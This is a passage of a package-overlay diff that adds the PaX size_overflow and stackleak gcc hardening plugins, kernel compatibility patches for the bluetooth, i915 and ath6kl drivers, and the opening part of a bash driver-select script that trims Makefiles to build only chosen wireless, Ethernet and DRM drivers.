++					  const_char_ptr_type_node,
++					  unsigned_type_node,
++					  const_char_ptr_type_node,
++					  const_char_ptr_type_node,
++					  NULL_TREE);
++	report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype);
++
++	DECL_ASSEMBLER_NAME(report_size_overflow_decl);
++	TREE_PUBLIC(report_size_overflow_decl) = 1;
++	DECL_EXTERNAL(report_size_overflow_decl) = 1;
++	DECL_ARTIFICIAL(report_size_overflow_decl) = 1;
++	TREE_THIS_VOLATILE(report_size_overflow_decl) = 1;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	int i;
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	bool enable = true;
++
++	struct register_pass_info size_overflow_pass_info = {
++		.pass				= &size_overflow_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "no-size-overflow")) {
++			enable = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info);
++	if (enable) {
++		register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/stackleak_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/stackleak_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,313 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help implement various PaX features
++ *
++ * - track lowest stack pointer
++ *
++ * TODO:
++ * - initialize all local variables
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static int track_frame_size = -1;
++static const char track_function[] = "pax_track_stack";
++static const char check_function[] = "pax_check_alloca";
++static bool init_locals;
++
++static struct plugin_info stackleak_plugin_info = {
++	.version	= "201203140940",
++	.help		= "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n"
++//			  "initialize-locals\t\tforcibly initialize all stack frames\n"
++};
++
++static bool gate_stackleak_track_stack(void);
++static unsigned int execute_stackleak_tree_instrument(void);
++static unsigned int execute_stackleak_final(void);
++
++static struct gimple_opt_pass stackleak_tree_instrument_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "stackleak_tree_instrument",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_tree_instrument,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "stackleak_final",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_final,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func
++	}
++};
++
++static bool gate_stackleak_track_stack(void)
++{
++	return track_frame_size >= 0;
++}
++
++static void stackleak_check_alloca(gimple_stmt_iterator *gsi)
++{
++	gimple check_alloca;
++	tree fntype, fndecl, alloca_size;
++
++	fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE);
++	fndecl = build_fn_decl(check_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_check_alloca(unsigned long size)
++	alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0);
++	check_alloca = gimple_build_call(fndecl, 1, alloca_size);
++	gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT);
++}
++
++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi)
++{
++	gimple track_stack;
++	tree fntype, fndecl;
++
++	fntype = build_function_type_list(void_type_node, NULL_TREE);
++	fndecl = build_fn_decl(track_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_track_stack(void)
++	track_stack = gimple_build_call(fndecl, 0);
++	gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING);
++}
++
++#if BUILDING_GCC_VERSION == 4005
++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
++{
++	tree fndecl;
++
++	if (!is_gimple_call(stmt))
++		return false;
++	fndecl = gimple_call_fndecl(stmt);
++	if (!fndecl)
++		return false;
++	if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
++		return false;
++//	print_node(stderr, "pax", fndecl, 4);
++	return DECL_FUNCTION_CODE(fndecl) == code;
++}
++#endif
++
++static bool is_alloca(gimple stmt)
++{
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA))
++		return true;
++
++#if BUILDING_GCC_VERSION >= 4007
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN))
++		return true;
++#endif
++
++	return false;
++}
++
++static unsigned int execute_stackleak_tree_instrument(void)
++{
++	basic_block bb, entry_bb;
++	bool prologue_instrumented = false, is_leaf = true;
++
++	entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			gimple stmt;
++
++			stmt = gsi_stmt(gsi);
++
++			if (is_gimple_call(stmt))
++				is_leaf = false;
++
++			// gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes <tree_list 0xb7576450>
++			if (!is_alloca(stmt))
++				continue;
++
++			// 2. insert stack overflow check before each __builtin_alloca call
++			stackleak_check_alloca(&gsi);
++
++			// 3. insert track call after each __builtin_alloca call
++			stackleak_add_instrumentation(&gsi);
++			if (bb == entry_bb)
++				prologue_instrumented = true;
++		}
++	}
++
++	// special cases for some bad linux code: taking the address of static inline functions will materialize them
++	// but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI
++	// will break other assumptions regarding the expected (but not otherwise enforced) register clobbering  ABI.
++	// case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here.
++	if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl))
++		return 0;
++	if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10))
++		return 0;
++
++	// 4. insert track call at the beginning
++	if (!prologue_instrumented) {
++		gimple_stmt_iterator gsi;
++
++		bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++		if (dom_info_available_p(CDI_DOMINATORS))
++			set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++		gsi = gsi_start_bb(bb);
++		stackleak_add_instrumentation(&gsi);
++	}
++
++	return 0;
++}
++
++static unsigned int execute_stackleak_final(void)
++{
++	rtx insn;
++
++	if (cfun->calls_alloca)
++		return 0;
++
++	// keep calls only if function frame is big enough
++	if (get_frame_size() >= track_frame_size)
++		return 0;
++
++	// 1. find pax_track_stack calls
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] <function_decl 0xb7470e80 pax_track_stack>) [0 S1 A8]) (4)) -1 (nil) (nil))
++		rtx body;
++
++		if (!CALL_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) != CALL)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != MEM)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != SYMBOL_REF)
++			continue;
++		if (strcmp(XSTR(body, 0), track_function))
++			continue;
++//		warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++		// 2. delete call
++		insn = delete_insn_and_edges(insn);
++#if BUILDING_GCC_VERSION >= 4007
++		if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION)
++			insn = delete_insn_and_edges(insn);
++#endif
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++//	warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info stackleak_tree_instrument_pass_info = {
++		.pass				= &stackleak_tree_instrument_pass.pass,
++//		.reference_pass_name		= "tree_profile",
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++	struct register_pass_info stackleak_final_pass_info = {
++		.pass				= &stackleak_final_rtl_opt_pass.pass,
++		.reference_pass_name		= "final",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info);
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "track-lowest-sp")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			track_frame_size = atoi(argv[i].value);
++			if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0)
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		if (!strcmp(argv[i].key, "initialize-locals")) {
++			if (argv[i].value) {
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++				continue;
++			}
++			init_locals = true;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info);
++
++	return 0;
++}
+--- include/net/bluetooth/bluetooth.h
++++ include/net/bluetooth/bluetooth.h
+@@ -207,7 +207,7 @@
+         struct file_operations   fops;
+         int (* custom_seq_show)(struct seq_file *, void *);
+ #endif
+-};
++} __no_const;
+ 
+ int  bt_sock_register(int proto, const struct net_proto_family *ops);
+ int  bt_sock_unregister(int proto);
+--- drivers/gpu/drm/i915/i915_drv.h
++++ drivers/gpu/drm/i915/i915_drv.h
+@@ -274,12 +274,12 @@
+ 	/* render clock increase/decrease */
+ 	/* display clock increase/decrease */
+ 	/* pll clock increase/decrease */
+-};
++} __no_const;
+ 
+ struct drm_i915_gt_funcs {
+ 	void (*force_wake_get)(struct drm_i915_private *dev_priv);
+ 	void (*force_wake_put)(struct drm_i915_private *dev_priv);
+-};
++} __no_const;
+ 
+ #define DEV_INFO_FLAGS \
+ 	DEV_INFO_FLAG(is_mobile) DEV_INFO_SEP \
diff --git a/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-ath6kl.patch b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-ath6kl.patch
new file mode 100644
index 00000000..8bec2867
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-ath6kl.patch
@@ -0,0 +1,37 @@
+Fixes for:
+drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’:
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+--- ./drivers/net/wireless/ath/ath6kl/sdio.c
++++ ./drivers/net/wireless/ath/ath6kl/sdio.c
+@@ -341,11 +341,14 @@
+ 	scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item);
+ 	scat_req_sz = sizeof(*s_req) + scat_list_sz;
+ 
+-	if (!virt_scat)
+-		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
+-	else
+-		buf_sz =  2 * L1_CACHE_BYTES +
+-			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	if (!virt_scat) {
++ 		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
++		buf_sz = 0;
++	} else {
++		sg_sz = 0;
++ 		buf_sz =  2 * L1_CACHE_BYTES +
++ 			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	}
+ 
+ 	for (i = 0; i < n_scat_req; i++) {
+ 		/* allocate the scatter request */
+--- ./drivers/gpu/drm/i915/intel_display.c
++++ ./drivers/gpu/drm/i915/intel_display.c
+@@ -7110,7 +7110,7 @@
+ 	obj = work->old_fb_obj;
+ 
+ 	atomic_clear_mask(1 << intel_crtc->plane,
+-			  &obj->pending_flip.counter);
++			  &obj->pending_flip);
+ 	wake_up(&dev_priv->pending_flip_queue);
+ 
+ 	queue_work(dev_priv->wq, &work->work);
diff --git a/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-bt_tty.patch b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-bt_tty.patch
new file mode 100644
index 00000000..dd299121
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-bt_tty.patch
@@ -0,0 +1,37 @@
+--- compat-drivers-3.8-rc7-1-u.orig/net/bluetooth/rfcomm/tty.c	2013-02-11 00:31:59.000000000 +0100
++++ compat-drivers-3.8-rc7-1-u/net/bluetooth/rfcomm/tty.c	2013-02-13 12:39:58.983001215 +0100
+@@ -309,7 +309,7 @@
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %pMR channel %d opened %d", dev, &dev->dst,
+-	       dev->channel, dev->port.count);
++            dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++                        atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
diff --git a/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-driver-select b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-driver-select
new file mode 100755
index 00000000..bafaf352
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-driver-select
@@ -0,0 +1,845 @@
+#!/usr/bin/env bash
+# Copyright 2009        Luis R. Rodriguez <mcgrof@gmail.com>
+#
+# This script allows you to select your compat-drivers driver and
+# reduce compilation time.
+
+# Heavily modified by Stefan Kuhn <wuodan@pentoo.ch>
+# Configures compat-drivers for multiple drivers at once
+# Suited for package managers
+
+# This internal variable contains a list of all 'Makefile's
+CPD_MAKEFILES="
+	MAKEFILE
+	COMPAT_CONFIG_CW
+	DRIVERS_MAKEFILE
+	ATH_MAKEFILE
+	ATH9K_MAKEFILE
+	BRCM80211_MAKEFILE
+	RT2X00_MAKEFILE
+	TI_MAKEFILE
+	NET_WIRELESS_MAKEFILE
+	EEPROM_MAKEFILE
+	DRIVERS_NET_ATHEROS
+	DRIVERS_NET_BROADCOM
+	DRIVERS_NET_USB_MAKEFILE
+	SSB_MAKEFILE
+	BCMA_MAKEFILE"
+
+# This internal variable contains an array with paths to all files
+CPD_MAKEFILES_ARRAY=(
+	MAKEFILE=Makefile
+	COMPAT_CONFIG_CW=config.mk
+	DRIVERS_MAKEFILE=drivers/net/wireless/Makefile
+	ATH_MAKEFILE=drivers/net/wireless/ath/Makefile
+	ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile
+	BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile
+	RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile
+	TI_MAKEFILE=drivers/net/wireless/ti/Makefile
+	NET_WIRELESS_MAKEFILE=net/wireless/Makefile
+	EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile
+	DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile
+	DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile
+	DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile
+	SSB_MAKEFILE=drivers/ssb/Makefile
+	BCMA_MAKEFILE=drivers/bcma/Makefile
+)
+
+# This internal variable holds modules to be added to the atheros Makefile
+CPD_ADD_ATHEROS=""
+
+# This internal variable controls the execution phase (and write protection)
+# phases: 0=start, 1=configure, 2=write, 3=restore
+# no file should be touched below phase 2
+CPD_PHASE=0
+
+# CPD_MODULE
+# This internal variable contains a temporary value, the currently processed
+# argument
+
+# CPD_DISABLE_${CPD_MODULE}
+# These internal variables contains the 'disable-actions' of the # currently
+# processed argument
+
+# This internal variable stores selected drivers (and groups)
+CPD_SELECTED_DRIVERS=''
+
+function die {
+	echo "$1" 1>&2
+	exit 1
+}
+
+function check_phase {
+	[ ${CPD_PHASE} -lt ${1} ] && \
+		die "Current phase ${CPD_PHASE} lower then ${1}. Check failed"
+}
+
+# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY
+function get_makefile {
+	local file
+	for file in "${CPD_MAKEFILES_ARRAY[@]}"; do
+		if [ "${file%%=*}"	= "${1}" ]; then
+			echo "${file#*=}"
+			return 0
+		fi
+	done
+	die "File ${1} not found"
+}
+
+
+# used to backup files from foo to foo.${BACKUP_EXT}
+BACKUP_EXT="bk"
+
+# Pretty colors
+GREEN="\033[01;32m"
+YELLOW="\033[01;33m"
+NORMAL="\033[00m"
+BLUE="\033[34m"
+RED="\033[31m"
+PURPLE="\033[35m"
+CYAN="\033[36m"
+UNDERLINE="\033[02m"
+
+# this internal function disables colors
+function unset_colors {
+	GREEN=
+	YELLOW=
+	NORMAL=
+	BLUE=
+	RED=
+	PURPLE=
+	CYAN=
+	UNDERLINE=
+}
+
+SUPPORTED_80211_DRIVERS="ath5k ath9k ath9k_ap ath9k_htc carl9170 ath6kl wil6210 b43 zd1211rw rt2x00 wl1251 wl12xx brcmsmac brcmfmac"
+
+# b43 needs some more work for driver-select, the SSB stuff, plus
+# what if you update b44 but not b43? It will bust.
+SUPPORTED_ETH_DRIVERS="atl1 atl2 atl1e atl1c alx"
+
+SUPPORTED_DRM_DRIVERS="i915"
+
+SUPPORTED_DRIVERS="${SUPPORTED_80211_DRIVERS} ${SUPPORTED_ETH_DRIVERS} ${SUPPORTED_DRM_DRIVERS}"
+
+function usage {
+	echo -e "${GREEN}Usage${NORMAL}: ${BOLD}$0${NORMAL} [${PURPLE}-q${NORMAL}] [ ${PURPLE}<driver-name>${NORMAL} | ${CYAN}<driver-group-name>${NORMAL} | ${GREEN}restore${NORMAL} ]"
+
+	# These should match the switch below.
+	echo -e "Supported 802.11 drivers:"
+	local i
+	for i in $SUPPORTED_80211_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	echo
+	echo -e "Supported Ethernet drivers:"
+	for i in $SUPPORTED_ETH_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	echo -e "Supported DRM drivers:"
+	for i in $SUPPORTED_DRM_DRIVERS; do
+		echo -e "\t${PURPLE}${i}${NORMAL}"
+	done
+
+	# These should match the switch below.
+	echo -e "\nSupported group drivers:"
+	echo -e "\t${CYAN}atheros${NORMAL} < ${PURPLE} ath5k ath9k carl9170 zd1211rw ath6kl wil6210${NORMAL}>"
+	echo -e "\t${CYAN}ath${NORMAL} < ${PURPLE} ath5k ath9k carl9170 ath6kl wil6210${NORMAL}>"
+	echo -e "\t${CYAN}brcm80211${NORMAL} < ${PURPLE} brcmsmac brcmfmac ${NORMAL}>"
+	echo -e "\t${CYAN}intel${NORMAL} < ${PURPLE} iwlwifi, iwlegacy ${NORMAL}>"
+	echo -e "\t${CYAN}rtl818x${NORMAL} < ${PURPLE} rtl8180 rtl8187 ${NORMAL}>"
+	echo -e "\t${CYAN}rtlwifi${NORMAL} < ${PURPLE} rtl8192ce ${NORMAL}>"
+	echo -e "\t${CYAN}ti${NORMAL} < ${PURPLE} wl1251 wl12xx (SPI and SDIO)${NORMAL}>"
+	
+	echo -e "\nSupported group drivers: Bluetooth & Ethernet:"
+	echo -e "\t${CYAN}atlxx${NORMAL} < ${PURPLE} atl1 atl2 atl1e alx${NORMAL}>"
+	echo -e "\t${CYAN}bt${NORMAL} < ${PURPLE} Linux bluetooth drivers ${NORMAL}>"
+
+	echo -e "\nSupported group drivers: DRM:"
+	echo -e "\t${CYAN}drm${NORMAL} < ${PURPLE} i915${NORMAL}>"
+
+	echo
+	echo -e "Restoring compat-drivers:"
+	echo -e "\t${GREEN}restore${NORMAL}: you can use this option to restore compat-drivers to the original state"
+
+	echo
+	echo -e "Options:"
+	echo -e "\t${PURPLE}-q${NORMAL}:\tDisables colored output"
+}
+
+function backup_file {
+	check_phase 2
+	if [ -f $1.${BACKUP_EXT} ]; then
+		echo -e "Backup exists: ${CYAN}${1}.${BACKUP_EXT}${NORMAL}"
+		return
+	fi
+	echo -e "Backing up makefile: ${CYAN}${1}.${BACKUP_EXT}${NORMAL}"
+	cp "${1}" "${1}.${BACKUP_EXT}" || die
+}
+
+# This internal function registers a 'disable' action for a module.
+# It writes to a variable CPD_DISABLE_${CPD_MODULE}
+function disable {
+	check_phase 1
+	eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die
+}
+
+# This internal function clears a Makefile completely.
+function disable_makefile
+{
+	check_phase 2
+	backup_file $1
+	echo > $1
+}
+
+function select_drivers_from_makefile
+{
+	check_phase 2
+	local MAKEFILE=$(get_makefile "$1")
+	shift
+	backup_file $MAKEFILE
+	local CONFIGS=""
+	local i
+	for i in $@; do
+		if [[ "$CONFIGS" = "" ]]; then
+			CONFIGS="$i"
+		else
+			CONFIGS="${CONFIGS}|$i"
+		fi
+	done
+	egrep "$CONFIGS" $MAKEFILE > ${MAKEFILE}.tmp
+	mv ${MAKEFILE}.tmp ${MAKEFILE}
+}
+
+# This internal function registers filters for the drivers Makefile
+function select_drivers {
+	check_phase 1
+	eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die
+}
+
+# This internal function disables "lib80211"
+function disable_lib80211
+{
+	check_phase 2
+	backup_file "$(get_makefile NET_WIRELESS_MAKEFILE)"
+	# perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE
+	sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die
+}
+
+# This internal function disables "b44"
+function disable_b44 {
+	check_phase 2
+	backup_file "$(get_makefile DRIVERS_NET_BROADCOM)"
+	# perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM
+	sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die
+}
+
+# This internal function disables "ssb"
+function disable_ssb
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${SSB_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/ssb\//' Makefile
+	sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "bcma"
+function disable_bcma
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${BCMA_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/bcma\//' Makefile
+	sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "rfkill"
+function disable_rfkill
+{
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' Makefile
+	sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "eprom"
+function disable_eeprom
+{
+	check_phase 2
+	disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die
+	# perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' Makefile
+	sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "usbnet"
+# TODO: this function is twice in driver-select script!?! Why?
+function disable_usbnet
+{
+	check_phase 2
+	disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die
+	# perl -i -ne 'print if ! /drivers\/net\/usb\//' Makefile
+	sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "usbnet"
+# TODO: this function is twice in driver-select script!?! Why?
+function disable_usbnet {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "ethernet"
+function disable_ethernet {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "var_03"
+function disable_var_03 {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "bt"
+function disable_bt {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' Makefile
+	sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# This internal function disables "80211"
+function disable_80211 {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' Makefile
+	sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "drm"
+function disable_drm {
+	check_phase 2
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VIDEO_MODULES/' Makefile
+	sed -i '/CONFIG_COMPAT_VIDEO_MODULES/d' "$(get_makefile MAKEFILE)" || die
+}
+
+function disable_bt_usb_ethernet {
+	check_phase 1
+	# backup_file Makefile
+	disable usbnet
+	disable ethernet
+	disable bt
+	disable update-initramfs
+	disable drm
+}
+
+function disable_bt_usb_ethernet_var {
+	check_phase 1
+	# backup_file Makefile
+	disable bt_usb_ethernet
+	disable var_03
+}
+
+function enable_only_ethernet {
+	check_phase 1
+	# backup_file Makefile
+	# backup_file $DRIVERS_NET_BROADCOM
+	# backup_file $DRIVERS_NET_ATHEROS
+	disable staging
+	disable usbnet
+	disable var_03
+	disable bt
+	disable drm
+	# rfkill may be needed if you enable b44 as you may have b43
+	disable rfkill
+	disable 80211
+}
+
+function disable_var {
+	check_phase 1
+	disable ssb
+	disable bcma
+	disable usbnet
+	disable eeprom
+	disable update-initramfs
+} 
+
+function disable_var_01 {
+	check_phase 1
